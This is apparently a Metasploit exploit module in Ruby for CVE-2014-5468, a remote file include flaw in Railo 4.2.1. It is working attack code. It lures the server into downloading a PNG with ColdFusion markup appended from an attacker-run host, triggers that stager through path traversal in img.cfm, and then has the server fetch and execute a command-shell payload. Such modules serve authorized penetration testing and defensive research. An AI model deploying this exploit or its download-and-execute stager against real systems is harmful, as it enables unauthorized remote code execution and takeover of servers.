190 lines
6.2 KiB
Ruby
190 lines
6.2 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit4 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Railo Remote File Include',
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'Description' => '
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This module exploits a remote file include vulnerability in Railo,
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tested against version 4.2.1. First, a call using a vulnerable
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<cffile> line in thumbnail.cfm allows an atacker to download an
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arbitrary PNG file. By appending a .cfm, and taking advantage of
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a directory traversal, an attacker can append cold fusion markup
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to the PNG file, and have it interpreted by the server. This is
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used to stage and execute a fully-fledged payload.
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',
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'License' => MSF_LICENSE,
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'Author' => [
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'Bryan Alexander <drone@ballastsecurity.net>', # Discovery/PoC
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'bperry' # metasploited
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],
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'References' => [
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['CVE', '2014-5468'],
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['URL', 'http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/']
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],
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'Payload' => {
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'Space' => 99999, # if there is disk space, I think we will fit
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'BadChars' => "",
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'DisableNops' => true,
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'Compat' => {
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic netcat perl ruby python bash telnet'
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}
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},
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'Platform' => %w( unix ),
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'Targets' =>
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[
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[
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'Automatic',
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{
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'Platform' => [ 'unix' ],
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'Arch' => ARCH_CMD
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 26 2014'))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']),
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OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10])
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], self.class)
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end
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def check
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md5 = '6de48cb72421cfabdce440077a921b25' # /res/images/id.png
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res = send_request_cgi(
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'uri' => normalize_uri('res', 'images', 'id.png') # the targeturi is not used in this request
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)
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if !res
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fail_with(Failure::Unknown, 'Server did not respond')
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elsif !res.body
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fail_with(Failure::Unknown, "Server responded without a body: #{res.code} #{res.message}")
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end
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new_md5 = Rex::Text.md5(res.body)
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return Exploit::CheckCode::Appears if new_md5 == md5
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Exploit::CheckCode::Safe
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end
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def exploit
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if datastore['SRVHOST'] == '0.0.0.0'
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fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer')
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end
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url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
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@shell_name = Rex::Text.rand_text_alpha(15)
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stager_name = Rex::Text.rand_text_alpha(15) + '.cfm'
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start_service('Uri' => {
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'Proc' => proc do |cli, req|
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on_request_stager(cli, req)
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end,
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'Path' => '/' + stager_name
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})
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start_service('Uri' => {
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'Proc' => proc do |cli, req|
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on_request_shell(cli, req)
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end,
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'Path' => '/' + @shell_name
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})
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wh = '5000' # width and height
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'admin', 'thumbnail.cfm'),
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'vars_get' => {
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'img' => url + '/' + stager_name,
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'height' => wh,
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'width' => wh
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}
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)
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if !res
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fail_with(Failure::Unknown, 'Server did not respond')
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elsif res.code != 500
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fail_with(Failure::Unknown, "Server did not respond with the expected HTTP 500: #{res.code} #{res.message}")
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end
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print_status('Waiting for first stage to download...')
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i = datastore['STAGEWAIT']
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while !@staged && i > 0
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select(nil, nil, nil, 1)
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print_status("Waiting for #{i} more seconds...")
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i = i - 1
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end
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@staged = false
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if i == 0
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fail_with(Failure::Unknown, 'Server did not request the stager.')
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end
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hash = Rex::Text.md5("#{url + "/" + stager_name}-#{wh}-#{wh}") # 5000 is width and height from GET
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hash.upcase!
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print_status('Executing stager')
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send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'),
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'vars_get' => {
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'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash,
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'thistag.executionmode' => 'start'
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}
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)
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end
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def on_request_shell(cli, _request)
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print_status('Sending payload')
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send_response(cli, payload.encoded, {})
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handler(cli)
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end
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def on_request_stager(cli, _request)
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url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name
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stager = "<cfhttp method='get' url='#{url}'"
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stager << " path='#GetDirectoryFromPath(GetCurrentTemplatePath())#..\\..\\..\\..\\..\\..\\'"
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stager << " file='#{@shell_name}'>"
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stager << "<cfexecute name='sh' arguments='#{@shell_name}' timeout='99999'></cfexecute>"
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png = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcS'
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png << 'JAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg=='
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# A very small PNG file
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png = Rex::Text.decode_base64(png)
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stager.each_byte do |b|
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png << b
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end
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png << 0x00
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print_status('Sending stage. This might be sent multiple times.')
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send_response(cli, png, 'Content-Type' => 'image/png')
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@staged = true
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handler(cli)
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end
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end
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